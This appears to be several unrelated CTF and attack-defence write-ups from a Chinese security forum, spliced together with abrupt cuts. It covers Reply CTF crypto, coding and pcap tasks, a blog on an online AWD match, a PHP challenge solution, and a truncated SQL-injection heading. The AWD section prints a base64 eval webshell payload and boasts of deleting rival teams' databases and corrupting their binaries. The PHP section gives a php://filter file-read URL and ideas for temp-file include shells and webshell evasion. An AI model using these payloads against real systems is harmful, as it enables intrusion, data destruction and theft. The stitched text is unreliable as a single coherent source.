xPqilMqB6aD7iGA1AItyX6ndUSR9cjA=
+9POvZ+WoeDwgk01Tb9zVvQ=
base64 decode and loop into byte.
In [153]: ccc1
Out[153]: '\xd4\xfd\xeb\x89\x85\x9c\xba\xf3\xf0\x85s#S\x96|S\xec\xca\x14*nc!\xa9f\xb4\t'
In [154]: ccc2
Out[154]: '\xc4\xfa\xa2\x94\xca\x81\xe9\xa0\xfb\x88`5\x00\x8br_\xa9\xddQ$}r0'
In [155]: ccc3
Out[155]: '\xfb\xd3\xce\xbd\x9f\x96\xa1\xe0\xf0\x82M5M\xbfsV\xf4'
every cipher in the same positon is > 127 or <=127. i guess it is one time
pad.
because the flag format is `{FLG:XXXX}`. After a while, i find out that the
third cipher is flag^key. So byte by byte recover the part of the flag:
m1="This is "
m2="Do not s"
m3="{FLG:ch3"
OTP about my guessing m2 next letter is share.Bingo! get the flag!
In [125]: xor(ccc1,xor(ccc2,"Do not share"))
Out[125]: 'This is clas'
In [126]: xor(ccc3,xor(ccc2,"Do not share"))
Out[126]: '{FLG:ch3ck_e'
In [127]: len('{FLG:ch3ck_e')
Out[127]: 12
In [128]: len('Do not share')
Out[128]: 12
In [129]: xor(ccc3,xor(ccc2,"Do not share "))
Out[129]: '{FLG:ch3ck_em'
In [130]: xor(ccc1,xor(ccc2,"Do not share "))
Out[130]: 'This is class'
In [131]: xor(ccc2,xor(ccc1,"This is classic"))
Out[131]: 'Do not share tm'
In [132]: xor(ccc3,xor(ccc1,"This is classic"))
Out[132]: '{FLG:ch3ck_em@l'
In [133]: xor(ccc3,xor(ccc1,"This is classic "))
Out[133]: '{FLG:ch3ck_em@l%'
In [134]: xor(ccc2,xor(ccc1,"This is classic "))
Out[134]: 'Do not share tm,'
In [135]: xor(ccc1,xor(ccc2,"Do not share the"))
Out[135]: 'This is classifi'
In [136]: xor(ccc1,xor(ccc2,"Do not share the "))
Out[136]: 'This is classifie'
In [137]: xor(ccc1,xor(ccc2,"Do not share the k"))
Out[137]: 'This is classifie|'
In [138]: xor(ccc2,xor(ccc1,"This is classic symmetric cipher"))
Out[138]: 'Do not share tm,6n(cvec'
In [139]: xor(ccc1,xor(ccc2,"Do not share key"))
Out[139]: 'This is classvku'
In [140]: xor(ccc1,xor(ccc2,"Do not sharing"))
Out[140]: 'This is cla\x7f=z'
In [141]: xor(ccc1,xor(ccc2,"Do not share "))
Out[141]: 'This is class'
In [142]: xor(ccc3,xor(ccc2,"Do not share "))
Out[142]: '{FLG:ch3ck_em'
In [143]: xor(ccc2,xor(ccc3,"{FLG:ch3ck_email"))
Out[143]: 'Do not share Uhe'
In [144]: xor(ccc2,xor(ccc3,"{FLG:ch3ck_ema"))
Out[144]: 'Do not share U'
In [145]: xor(ccc1,xor(ccc3,"{FLG:ch3ck_ema"))
Out[145]: 'This is classH'
In [146]: xor(ccc1,xor(ccc3,"{FLG:ch3ck_em@"))
Out[146]: 'This is classi'
In [147]: xor(ccc1,xor(ccc3,"{FLG:ch3ck_em@i"))
Out[147]: 'This is classif'
In [148]: xor(ccc1,xor(ccc3,"{FLG:ch3ck_em@il"))
Out[148]: 'This is classifi'
In [149]: xor(ccc2,xor(ccc1,"This is classifical"))
Out[149]: 'Do not share the&v)'
In [150]: xor(ccc2,xor(ccc1,"This is classified"))
Out[150]: 'Do not share the s'
In [151]: xor(ccc3,xor(ccc1,"This is classified"))
Out[151]: '{FLG:ch3ck_em@il}'
#### CRYPTO 500
The task descriptions is
Name: MISS Z IS THE QUEEN
In another folder on the restored back-up, called "to be analysed" there’s a leaked email with an encrypted attachment.
R-Boy decides to investigate further.
Can you help him?
Given a zip file, unzip the file, there are two files, one is readme,the other
is a .eml file which contains a base64 strings. after base64 decode the very
long strings, we can see that the base64 decode strings is a zip file, and the
end of the zip file attached a PDF file.
$ tree
.
├── c3dbd7c3b92757440f58947546945298.eml
├── crypto5.pdf
├── enc_message.txt
├── README.txt
└── zcmk_member.txt
0 directories, 5 files
$ cat README.txt
The Secret Service have intercepted an e-mail sent by an anonymous spy to Command, head of Secret government agency called B613.
Hacker, find the secret message and save the White House!
$ cat zcmk_member.txt
PART1: 5CD00A357AB2F472CDDEF15A98C91823
PART2: 6605B51DE869FE6CD69165D13F4A8207
PART3: 1304FCA28268E7F08A88314F80B6295C
$ cat enc_message.txt
uOeYzKAhV5/4rOc4kIAqfuqTSNDmrq+/AdxBIjUMMf6LVe3yxl0OoA==
The PDF file content:
Googling ZCMK three part key 3DES KVC, we know is about key distribute and
encryption the 3DES key with the master key using 3DES ECB algorithm.The
enc_message.txt in encrypted with 3DES key then base64 encode. **KVC** is used
to identify the 3DES key.using the following script KCV.py:
import binascii
import hashlib
import base64
from pyDes import *
data = '0'*64
key = '29d1438a10b3edee91c7a5c42735b378'
key = binascii.unhexlify(key)
data= binascii.unhexlify(data)
print('key: ' + str(key))
k = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
d = k.encrypt(data)
print('KCV: ' + str(binascii.hexlify(d))[:6])
> output is: KCV: 3f5dc3
First get the master key and identify it:
PART1= "5CD00A357AB2F472CDDEF15A98C91823"
PART2= "6605B51DE869FE6CD69165D13F4A8207"
PART3= "1304FCA28268E7F08A88314F80B6295C"
masterkey = PART1^PART2^PART3
masterkey = 29d1438a10b3edee91c7a5c42735b378
the output of KCV.py is 3f5dc3 satifies the PDF file 3f 5d c3.
Second get the 3DES key by decrypting the ciphertext.
http://tripledes.online-domain-tools.com/
the 3deskey =
identify the key. output of KCV.py is 3a2179 matches the true 3DES key KCV.
Finally let us catch the flag!!!
In [95]: b64decode("uOeYzKAhV5/4rOc4kIAqfuqTSNDmrq+/AdxBIjUMMf6LVe3yxl0OoA==")
Out[95]: '\xb8\xe7\x98\xcc\xa0!W\x9f\xf8\xac\xe78\x90\x80*~\xea\x93H\xd0\xe6\xae\xaf\xbf\x01\xdcA"5\x0c1\xfe\x8bU\xed\xf2\xc6]\x0e\xa0'
ciphertext = b8e798cca021579ff8ace73890802a7eea9348d0e6aeafbf01dc4122350c31fe8b55edf2c65d0ea0
> DONE!
## CODING
#### Coding 200
* TODO: 土味英语，需要润色
This challenge is a simple algorithm question about dynamic programming.
The task we need to do is to choose some challenges to solve which can achieve
the best score in 24 hours (1440 minutes). We can see the challenges as the
items in a knapsack. The score of the challenge is the value of the item and
the ETA is the weight. Only 1440 weights items can put into the knapsack. This
is one of the most classic dynamic programming problem —— 0-1 Knapsack
Problem. But we don't need the best score, we need the item we choose.
I wrote a python script to finish the process of dynamic programming. And it
will print the IDs of the challenges to choose, sorted by ETA descending which
is the password of `CTF_PRIZE.7z`.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def bag(data):
dp = list([0 for i in range(24 * 60 + 1)])
path = list([[0 for j in range(24 * 60 + 1)] for i in range(len(data))])
for i in range(len(data) - 1, -1, -1):
for j in range(24 * 60, data[i][-1] - 1, -1):
if dp[j] < dp[j - data[i][-1]] + data[i][-2]:
dp[j] = dp[j - data[i][-1]] + data[i][-2]
path[i][j] = 1
ans = ''
i = 0
j = 24 * 60
while i < len(data) and j > 0:
if path[i][j]:
ans += data[i][0]
j -= data[i][-1]
i += 1
print('socre:%d' % dp[-1])
return ans
if __name__ == '__main__':
f = open('Challenges.csv', 'r')
data = list(map(lambda x: x.strip().split(), f.readlines()))
data.pop(0)
eta = {}
for x in data:
x[-2] = int(x[-2])
x[-1] = int(x[-1])
eta[x[0]] = x[-1]
if x[1] == 'binary':
x[-1] *= 2
elif x[1] == 'web':
x[-1] //= 2
ans = bag(data)
print(ans)
ans = ''.join(sorted(list(ans), key=lambda x: eta[x], reverse=True))
print(ans)
#### Coding 400
* TODO: 土味英语，需要润色
This challenge is more like a Misc challenge, it requires we have some
programming skills, especially writting web spider.
The author provide two door-key pair, by clicking the url we can find that
there are more doors and keys in the starting door. Like a maze right? We need
to explore the whole maze.
I wrote a multi-thread python script to open all doors.
Once the script found `FLG` in the response content of the server, it will log
the content to `flag.txt` and exit.
import requests
import queue
import threading
from bs4 import BeautifulSoup
WORKER_NUMBER = 16
jobs = queue.Queue()
flag = ""
cache = dict()
def parse(content):
if "FLG" in str(content):
FLAG = content
with open("flag.txt", "a+") as f:
f.write(str(content))
exit(0)
result = []
soup = BeautifulSoup(content, "html.parser")
tbody = soup.tbody
for tr in tbody.find_all("tr"):
tds = tr.find_all("td")
door = str(tds[0]).replace("<td>", "").replace("</td>", "")
key = str(tds[1]).replace("<td>", "").replace("</td>", "")
data = (door, key)
result.append(data)
return result
def check(door, key):
params = {
"door":door,
"key":key,
}
url = "http://challengebox2.reply.it:1337/webcrawler/open"
response = requests.get(url, params=params, cookies={
"JSESSIONID":"D059E78F58A81297FECDFD853BDA5851",
})
for i in parse(response.content):
if i in cache.items():
print("Item dumplicated! %s" % str(i))
else:
cache[i[0]] = i[1]
jobs.put(i)
data = [
("4f704b99-48c3-401a-8dbc-4cfea131ca1b", "aa0edbdc-2053-49de-823f-9bfc54536fec"),
("e359505d-045e-4bf5-b9bb-31105dac2a08", "be8437bd-3313-4b0c-b621-6902c487912f"),
]
for i in data:
jobs.put(i)
def worker(wid):
while True:
job = jobs.get()
print("[%d] %s" % (wid, job))
check(job[0], job[1])
def start_workers():
for i in range(WORKER_NUMBER):
t = threading.Thread(target=worker, args=(i,))
t.daemon = True
t.start()
start_workers()
while True:
command = input("> ")
if command == "list":
print(cache)
elif command == "flag":
print(flag)
elif command == "exit":
break
Done.
## MISC
#### MISC 100
The tasks provides a pcap file named `traffic.pcap`, after analysis the pcap,
i found the following message.
GET / HTTP/1.1
Host: 192.168.101.222:1337
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; ONE E1003 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.3
Date: Mon, 17 Sep 2018 12:53:54 GMT
Content-type: text/html; charset=UTF-8
Content-Length: 322
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="developers.jpeg">developers.jpeg</a>
<li><a href="listencarefully.mp3">listencarefully.mp3</a>
<li><a href="yeah.png">yeah.png</a>
</ul>
<hr>
</body>
</html>
Then using Wireshark to export the HTTP object, we can get a mp3 file named
`listencarefully.mp3`. I think it is a mp3 stego. Open the mps with `Audacity`
and in spectrogram channel we found the flag: | 社区文章 |
## 背景
星盟团队的内部awd训练，邀请我们团队参加，然后想着也没什么事情就报名了。
为什么说叫反杀之旅？
因为最开始的时候由于技术师傅的手误，前两轮设置后台check扣分的时候多按了一个0，导致一次check扣了我们1000分。。。
本来每个队初始分数是1000，结果我们一下变成了0，成了倒数第一。
不过经过团队的紧张的补救以及多年的手速，在多扣了几百分的情况下最后追赶到了正数第二名的位置。
觉得还挺有意思，所以今天写篇博客来记录下过程。
### 比赛规则
* * *
比赛时间
八月十四日（今晚）晚六点四十到十点四十
比赛规则
（队长比赛前五分钟找我私聊拿各自的登陆密码并尽快修改）
1.每个队伍分配到一个docker主机，给定ctf用户权限，通过制定的端口和密码进行连接；
2.每台docker主机上运行一个web服务或者其他的服务，需要选手保证其可用性，并尝试审计代码，攻击其他队伍；
3.选手可以通过使用漏洞获取其他队伍的服务器的权限，读取他人服务器上的flag并提交到平台上。
每次成功攻击可获得 **5** 分， _被攻击者扣除5分_ ； **有效攻击五分钟一轮** ；
4.选手需要保证己方服务的可用性，每次服务不可用，扣除100分； **服务检测五分钟一轮** ；
5. **不允许使用任何形式的DOS攻击**
* * *
因为是awd一般是线下赛，线上的awd确实还是第一次搞。
最开始的时候以为是在他搭建的内网里，还要端口转发到本地才能打，感觉麻烦很多。
后来才发现不是，就是一个外网主机开了很多docker，不同docker在不同的端口，打的时候IP都不用换，直接找端口就可以了。
看了下界面还是挺炫酷的哈哈哈
## 冷静分析
拿到ssh后先登上去，改密码，保存源码，D盾扫一扫
虽然我经常发帖子过D盾，但是D盾确实很厉害啊哈哈哈，在比赛中还是非常有用的
老套路，被留了各种后门。
因为本来预定的环境有问题，启用了备用线路，所以只有一个web一个pwn，那就慢慢看吧。
### 第一个后门 任意命令执行
文件名 api.inc.php
很多文件都包含有这个文件
$authcheck是个array_map，下面51行又调用了这个$authcheck，
代码意思就是说收到数组$auth后先base64解码一遍，然后用$authcode参数来任意命令执行
那么我们就可以构造以下payload：
http://xxxxx/api.inc.php?authcode=assert&auth=ZXZhbCgkX1BPU1RbJ2EnXSk7
auth参数解码后是
eval($_POST['a']);
就可以生成个用蚁剑连接的一句话啦
附一张当时的截图
最开始因为手速快，所有的人都被我们拿了flag
### 第二个后门 一句话木马
这个没什么说的
后来发现他的$islogin可以随便绕过。。根本不用登陆。。
### 第三个后门 LFI
直接包含flag就可以读取
### 第四个后门 任意文件上传
主要代码
if ($mod == "release"){
echo'<div class="panel panel-primary"><div class="panel-heading"><h3 class="panel-title">'.$xiaofu.' - 上传安装包</h3></div><div class="panel-body">';
if ($_POST["s"] == 1) {
$extension = explode(".",$_FILES["file"]["name"]);
if (($length = count($extension)) > 1) {
$ext = strtolower($extension[$length-1]);
}
if ($ext == "png" || $ext == "gif" || $ext == "jpg" || $ext == "jpeg" || $ext == "bmp") {$ext = "png";
}
copy($_FILES["file"]["tmp_name"],ROOT. "download/release/release.".$ext);
$city=get_ip_city($clientip);
$czip=($udata['dlip']);
$user=($udata['user']);
$DB->query("insert into `auth_log` (`user`,`type`,`date`,`city`,`czip`,`data`) values ('".$user."','上传安装','".$date."','".$city."','".$czip."','无')");
echo "成功上传文件!<br>（请刷新安装包文件夹）";
}
}
意思就是说，收到上传文件后检查后缀，然后保存。
但是仔细看这一句
if ($ext == "png" || $ext == "gif" || $ext == "jpg" || $ext == "jpeg" || $ext == "bmp") {$ext = "png";
}
如果后缀是这么多的一种，那么变量$ext 就被赋值为png
然后if语句就结束了
也就是说他这个判断后缀是没什么卵用的，任意的后缀就可以跳过他这个判断继续往下执行。
但是当时无法利用，因为网站权限被设置为不可写。。。
也就是说你只有ssh才可以更改网站的内容。
## 马失前蹄
因为漏洞都比较简单，很快就看完了。
简单说了一下分工，就让 ~~牛逼牛逼最牛逼巨佬~~ naivekun师傅修洞，我们就开始写批量getflag脚本然后批量交flag
结果突然听见naivekun师傅大叫一声卧槽
看积分榜我们居然只有100分
其他队都是1000起步
喵喵喵？？？
我眼花了吗？？？
后来问kun师傅怎么修的，他说直接把参数删了。。。
**完 蛋，国 赛 重 现**
其实研究一下规则就知道，别人打你就扣5分
但是你修炸了就一下扣100。。。
唉，国赛就是这样被坑惨的，做题不少。。。但是越修分数越低。。。
但是也不会掉这么多啊，一下成了倒数第一
后来看群里才知道，由于技术师傅的手误，前两轮设置后台check扣分的时候多按了一个0，导致一次check扣了我们1000分。。。
然后我们手速比较快修的比较急，刚好在扣分的第一轮没修好就被扣分了
赶紧把洞重新修了一遍
gg，跟别的队差1000分还打个毛啊
猛男落泪.jpg
## ~~搅屎~~ 翻盘之旅
不过这个比赛有一点好处就是时间长，5分钟一轮，四个小时。
算了算我们还是有翻盘的机会的
毕竟手速快，顺便稳定了权限，基本上当时所有队伍的权限都在我们手里。
分工了一下
一个人稳定权限拿flag，一个人写批量脚本交flag，一个人搅屎。
pwn跟web是分开的，也差不多这个样子
当时自己批量getflag的截图
这是一个洞的脚本，多的图就没截了
然后慢慢分数就涨了上去，倒数第二还是第三吧
### 删库跑路
只靠得分不行，因为分差太小了，一轮全部拿到其他队伍的flag还没有扣得多
所以就想着 **搅屎**
**因为别人扣分实际上就相当于自己队伍得分**
搅屎本来想删站的，结果没权限，就少了很多乐趣。
然后想着能不能fork炸弹啊磁盘写满啊这种
后来naivekun师傅发现可以删库让整个站500
哈哈哈哈快乐
删库跑路图：
被群里人发现了
基本上把大多数队伍的库都删了个遍
但是我们后来发现
**删库居然不扣分？？？**
在群里问技术
原来check扣分异常。。。所以技术直接把check关了。。。
好的吧，反正继续搅屎没毛病
然后写个循环脚本，继续删库。。
**pwn也开始搅屎了**
附上队员blackbinary的犯罪证据
直接echo fuckyou到二进制文件里
这样其他队伍就无法攻击得到flag
## 逐渐回暖
后来因为 ~~搅屎~~ 比赛太过激烈
我们的队伍分数在逐渐往上涨，其他大多数被删库就在往下掉
最后就也不想打了，全部是自动化getflag，自动化提交了，大家也都自己干自己的事去了。
附上几张当时的截图
随机队名，我们是Colombia队
第三了
然后第二了
最后结果，第二名
## 后续
在多扣1000分的情况下从倒数第一反杀到第二
最后说给我们分数加上但是也没加，毕竟训练赛就当打着玩
还是挺好玩的，但是中途平台bug比较多
什么flag提交不上，提交频率过快
然而最让我懵逼的是
**他平台有漏洞**
每个队伍的cookie居然只是队伍名的md5。。。
阿伟死了
## 最后
总结一下反杀的原因还是 **主要靠搅屎** ，让其他队伍扣分
不然快1000分的分差靠 **只有5分** 一个的flag很难追上
不管怎么说这个线上awd还是挺有趣的
操作虽然都是常规操作，但也是对团队分工合作， ~~搅屎~~ 技术的一次综合考验
特地写下这篇文章记录一下。
### 小插曲
**喵喵喵？？？**
首发于博客：
<https://yzddmr6.tk/2019/08/15/one-online-awd/> | 社区文章 |
## 0x01 探索 · 盲人摸象
接触题目第一步，英文等下看，先扫描下二维码，得到一个带有get参数的url？
这不就是同一个地址么？hxcode什么鬼？二维码不是QRcode么？
记笔记，记笔记……马克关键词……
从 `readme.html` 中通读1-7条信息，得到少许关键字 `debug`/`Alpha`/`deverlopment` 等信息。
归总信息：
1. 出现组织机构GIT地址： <https://github.com/deepwn>
2. 出现相关用户名： `evil7`
3. `bakdoor` 可能存在后门
再看看有没有 `robots.txt` ，在其中找到其他有用信息。
1. 通过 `/?dev=debug` 发现可查看index.php源码
2. 查看 `UserID/?id=*` 在 `id=1` 时，发现用户名 `ev1l7_1s_adm1N` 是激活状态
3. 如描述，通过 `/?dev=debug` 查看源码后找到非必要方式构造的静态文件读取，实为文件包涵后门 `include($_GET["lnk"])`
## 0x02 插曲 · 枚举登陆
`index.php` 源码里看到弱比较逻辑，第一反应构造md5为科学计数值 `0e\d{30}`
类型，通读页面源码，发现奇怪的静态文件加载方式，居然是个include的包涵构造的GET类型API，考虑伪协议读取 `config.php`
验证逻辑可绕过。构造特殊md5后，通过已知用户名`ev1l7_1s_adm1N`，和 `特殊md5` 绕过password判断。
这不是直接爆破就行了嘛！！嘎嘎大笑~
重复POST提交，直至 `cookie` 中 `login` 值与 `index.php` 中条件成立，成功登陆！记录 `code1` 和`code2`
为之后猜测 `$max` 和 `$seed` 做准备。
但是！本地测试枚举成功，实际发布题目后，又是另一番酸爽……
## 0x03 审计 · 弱点复现
本地测试题目的时候，经过16w多次POST提交，可以直接由前两位随机数 `code1` 和 `code2` 得到一个基本雏形的预测数组。
但是实际发布题目之后发现，用来提供多种解题思路的爆破枚举方式，反而增加了游戏难度，比如做为作者，我自己都爆破不出了！哆洗喋！？哦哆key！
5. evil7 always write BUGs or fuxking things in our object! Shiiiit... in this one too.
呵呵呵，还好留有一个任意包含知识点的 `include` “后门”，所以运气太差并不影响整体解答，反而让做题选手更需要理解各知识点的组合。歪打正着科科~
(｡･∀･)ﾉﾞ
从 `index.php` 中找到指定 `seed` 的伪随机算法，通过之前获得两个随机数，控制 `$max` 值进行随机数预测(读取
`config.php` 则可直接找到 `$max = 1777` ) ，爆破猜测得 `$max` , `$seed` 以及关键随机数值 `$rkey` ,
强迫症不在乎多几秒运行，这里任性取整 `2k*2k` 枚举。
<?php
$sec_key = "this_is_cookie"; // Use `include()` read config.php U will get this value.
for($max=0;$max<2000;$max++){
for($seed=0;$seed<2000;$seed++){
srand($seed);
$code1 = rand(0,$max);
$code2 = rand(0,$max);
$cook = rand(0,$max);
$rkey = rand(0,$max);
$the_ck = md5($sec_key.strval($cook));
//if($_COOKIE['login'] === "5c123ab7af348c1a69c0dd3e8e948cef"){
if($the_ck === "5c123ab7af348c1a69c0dd3e8e948cef"){
//echo("AES KEY: $keyyy\n");
$verify = $code1 + $code2;
$keyyy = md5(md5($rkey) . strval($verify)); //FIND in config.php function `$err`
$out[]=$keyyy;
}
};
}
var_dump($out);
算出贼鸡儿多！怕有两斤半的AESkey！:
var_dump($out);
[0]=>
string(32) "blablabla……"
.
.
.
string(32) "b08fd397d76818a38aa4b6cf67207c41"
[2656]=>
string(32) "935b6f344a60023c56e2b61481b2f22a"
[2657]=>
string(32) "9d290f5a1461a1aa020d1310e4759cab"
[2658]=>
string(32) "014f8e781e8cc928ae3da3c338bab9d1"
[2659]=>
string(32) "07da3992bddbf87f7f0081f4476ae405"
[2660]=>
string(32) "463180bdbcc64a51ffc37172f3bde0fa"
[2661]=>
string(32) "9d290f5a1461a1aa020d1310e4759cab"
[2662]=>
string(32) "ca1570a23f9fa3fadab35c581909fc1c"
[2663]=>
string(32) "788e83cd2c3e47b351e6b9a57f476a93"
}
拿到`RSAkey`，却没有加密文本？搞毛？
回到起点第一步骤 `readme.html` 重新梳理信息:
`6. He say we will find it at first but after done all debug first. (what fuxk
is that mean?)`
题目入口是一个二维码，登陆入口只有一个静态图片，顺手全都下载下来，先分析有无隐写
看到通道内容确实有细微数据被修改，但是两个图均未发现直接写入的其他图片FLAG
(直接写FLAG到图里工具一键就没了，还考你干嘛？哈哈哈)
查看`hint-7` 以及那个多出来的get参数 `hxcode` 开始收集外部信息，寻找可疑信息:
`7. If U need more. Pls check others in https://github.com/deepwn`
发现deepwn组中只有一个开发成员，麻蛋的83个项目一个个找？挠头……
理清思路，先找找evil7账号有关验证码和图像处理的repo。
点进个人主页，第一眼就发现时间线里，跟题目上线同期发布，新项目 `pngCrypto.js`！
并且看名称，正好是关于某种png像素隐写文件什么的吧？
(借鉴了某前端大佬png文件压缩js的思路，这里用作隐写简直完美~)
猜测跟某特定隐写考点有关，分析一下 `pngCrypto.js/pngCrypto.js` 文件中加解密实现过程。
结合查找隐写图像时，发现二维码图片第一行（first）像素出现的锯齿，再想想hint里描述的毫无意义的前4句“凑数”卵话：
1. This system is in testing.
(alpha版本：内部开发版本)
2. U can see many ideas in this version.
（此版本：1.0-Alpha）
3. We will cancel alpha when fix bug with the rand_number.
(直接指明alpha和random问题)
4. Next create new APP & QRcode after development. We must do that.
(提到QRcode将在开发后也就是“alpha版本后”换新)
如果你还不怀疑Alpha做手脚了，那你还是掐死我吧。
（仅用1000左右像素宽度，哪怕缩略图也很容易看出来啊！诺你看！）
单独拿出第一行像素内容，`在黑色背景下` 发现是修改后隐藏有特定信息，根据hint提示的 `Alpha` 开始修改 `pngCrypto.js`
脚本，直接构造一个html页面如下：
<!DOCTYPE html>
<html lang="en">
<head>
<title>deepCrypto</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<script type="text/javascript">
function uncrypto(f) { // 本题中我们只需要解密function
var dl = document.getElementById('dl');
dl.innerText = 'Loading...';
var reader = new FileReader();
reader.readAsDataURL(f);
reader.onload = function () {
var image = new Image();
image.src = this.result;
image.onload = function () {
var c = document.getElementById("canvas");
var ctx = c.getContext("2d");
var maxW = c.width = this.width;
var maxH = c.height = this.height;
ctx.drawImage(this, 0, 0, maxW, maxH);
var imgData = ctx.getImageData(0, 0, maxW, maxH);
var oFile = new Array();
for (var i = 0; i < imgData.data.length; i += 4) {
oFile.push(imgData.data[i+3]); // 只需要通过Alpha值还原文件buffer
};
console.log(oFile);
(oFile[oFile.length - 1] === 0) ? oFile.pop() : null;
(oFile[oFile.length - 1] === 0) ? oFile.pop() : null;
var dataBuf = new Uint8ClampedArray(oFile.length);
for (var b = 0; b < oFile.length; b++) {
dataBuf[b] = oFile[b];
}
oFile = null;
var fileBlob = new Blob([dataBuf], { type: '' }); // 可以指定{ type: 'image/png' }方便web直接显示，如果不确定图片具体格式保持缺省，下载后电脑打开也可行
var dataUrl = window.URL.createObjectURL(fileBlob);
dl.href = dataUrl;
dl.innerText = dl.download = f.name.slice(0, f.name.length - 8);
};
};
};
function start() {
var file = document.getElementById("file").files[0];
uncrypto(file);
};
</script>
</head>
<body>
<p>
<input type="file" id="file" onchange="start()" />
<a id='dl'>ONLY FILE < 100M</a>
</p>
<canvas id="canvas" width="0" height="0"></canvas>
</body>
</html>
上面直接改 `pngCrypto.js` 脚本，由本来三原色 `RGB` 加解密隐写，改为仅 `Alpha` 值解密。
使用抠出来的第一行像素 OR 直接修改二维码名称为`test.png.dpc.png`，向页面传入，还原隐写文件如图：
通过还原得到另一类型二维码，这是个喵得法科？
谷果一下，得知为中国自主支持产权的 `汉信码`（热烈鼓掌！）。
网上找到某在线解码或者自行编译相关SDK得：
<http://www.efittech.com/hxdec.html>
使用在线解密，点选 `UTF-8` 编码，decode后得到：
`U2FsdGVkX19tVP7nvEyDWQ7YFDa/DpAycAh5IZyMjsNdI
G23l7xvNvl48GNFFkZJ68vlQQy4jy3l6DJ7IM7xrXtmqFw/rOqSFsVGJaXjwsoA0RgWg5pe2kVMK3GnoVw`
基本功的坑居然也会拦下一波人……注意那个箭头所指的！空格！
使用在线解密后，发现密文被空格断开？而RSA加密怎么可能有空格呢？呵呵……
所以替换RSA字符串中 `空格` 为 `+` 或者 `/` ，反正只可能出现的那几个允许的符号，一个个解密试试就好了。如下：
`U2FsdGVkX19tVP7nvEyDWQ7YFDa/DpAycAh5IZyMjsNdI+G23l7xvNvl48GNFFkZJ68vlQQy4jy3l6DJ7IM7xrXtmqFw/rOqSFsVGJaXjwsoA0RgWg5pe2kVMK3GnoVw`
写一个py脚本交易一下 `from pwn import *` 遍历之前随机数碰撞脚本得到贼鸡儿多的 `RSAkey` 去解密，总算发现key为
`6759d92803742673713a68eebc55be40` 时，出现了标准格式 `FLAG{blalbalba……}`
（脚本在我家电脑上……这里我眼神教学吧，大家脑海里构造一下RSA脚本就是了嘎嘎）
这里某些同学KALI下中文字符可能会出现问题，那就再用在线解密验证一下就好。
## 0x04 final get the fuxkkkkin flag!!:
`FLAG{哈哈U_FINd-it_in_the_pic!THAT's/Sofast_soBUG\干得票酿}`
## 0xF0 苛刻 · 必专必邃:
带过一个本人苛刻骚思路：
查看到静态资源使用了一个被evil7小朋友写进去的BUG？或者说后门？——任意文件包含。
第一反应是BUG嘛！伪协议！读个痛快。
<https://hackit.cc/?lnk=php://filter/read=convert.base64-encode/resource=./config.php>
利用伪协议include后直接读取config.php文件的base64值，一下就得到相关config文件的关键信息了。
那么……问题来了！
如果题目采用win做为平台？
直接构造出POST流量传输文件呢？
测试中使用如下 `test.php` 文件，直接表单`POST['file']`，发现虽然没有处理上传的逻辑，但是tmp文件夹下，还是出现了名为
`phpblablabla...` 的临时文件。
<?php @echo $_FILES['file']['tmp_name'];?>
再 `echo > test.php` 将上面文件变为空文件，直接curl构造上传并管道输出 `ls -al /tmp` 发现同样存在上传临时文件！
## 0xF1 疑惑 · 思路扩展
是否通过猜测上传缓存文件夹，比如 `/tmp` 或 `/usr/php5/temp` 类似，通过传入 `php<` 或多线程枚举
`php\s{8}`文件名称。
在windows下，可碰撞使之包含特定 `$_FILES['file']['tmp_name']` ？
或者通配所有 `PHPsession` 文件。直接构造成上传临时文件包含来getSell ？
PHP Example:
<?php
error_reporting(0);
highlight_file(__FILE__);
$f=$_FILES['file']['tmp_name'];
if($f!=NULL){
echo "TMPFILE: $f\n";
echo "-------------\n\n";
include($f);
};
?>
<form method='post' action='test.php' enctype='multipart/form-data'>
<input name='file' type='file'/>
<input type='submit'>
</form>
## 0x05 小明 · 泥给我衮曲去
1. 构造如上example.php，传入一个写有phpinfo()的文件试试？
2. 有兴趣的小伙伴可以结合这个姿势，试试构造webshell免杀等bypass骚思路？
3. 另结合png隐写文件压缩，能不能用来洗白流量，比如：`Socket5` 的bypass什么G什么FW什么的？
骚到为止，看破勿说破。哦噜科科~(｡･∀･)ﾉﾞ
## 0x06 下课 · 请背诵全文
本题中主要以伪协议读取文件，伪随机算法，另类像素隐写，弱点逻辑绕过等综合利用为考点，故采用linux，如果题目被引用进其他CTF比赛，此考点可以变通，请大家如果遇到，一定小心谨慎记得考虑这个姿势！
## 0x07 总结 · 综上所述
本题解法十分紧凑，你想瞎比扫就扫，想任意读就读，想用API收集信息也行，但是最后集合所有信息，才能顺利完成此题。通过其他信息的泄露，和github上开发者信息以及repo的挖掘，完成整体题目。再一来，都说不会Coding的黑客不是好开发，所以顺便考验大家
`算法理解能力` / `脚本读码能力` / `逻辑分析能力` / `代码修改能力`
，最终在各技能方向技能组合拳磨练下，希望那些真正在这个“酸爽萝卜坑”里苦战过的大佬们，能借助本题知识点，提升自己对 `情报收集` / `算法弱点` /
`隐写分析` / `文件解密` / `编写技能` 在实际中的熟练应用程度。（略略略，没听过吧，反正这五个坑的名字都是我瞎编的！哈哈哈嗝）
“一次好渗透，三个面支撑”：
1. 大量的信息收集
2. 骚气的手法思路
3. 清晰的流程报告
以上，供大佬们温故知新基础知识巩固基本技能，祝大佬们多得平台Rank瓜分SRC高危奖金。
出题时候脑子都快绕晕了，想必大家踩坑更是辛苦，要不？跟我来手一把大鱼人教做人，为自己挽尊？……
China Dota Best Dota !
China Haka Best Haka !
China NO.1 A马勒ca NO.9 !
:) DeePwn is aweaken. Join us ? | 社区文章 |
# CTF中的SQL注入CTF
**SQL注入**
## **SQL注入-1**
**题目描述:**
暂无
docker-compose.yml
version: '3.2'
services:
web:
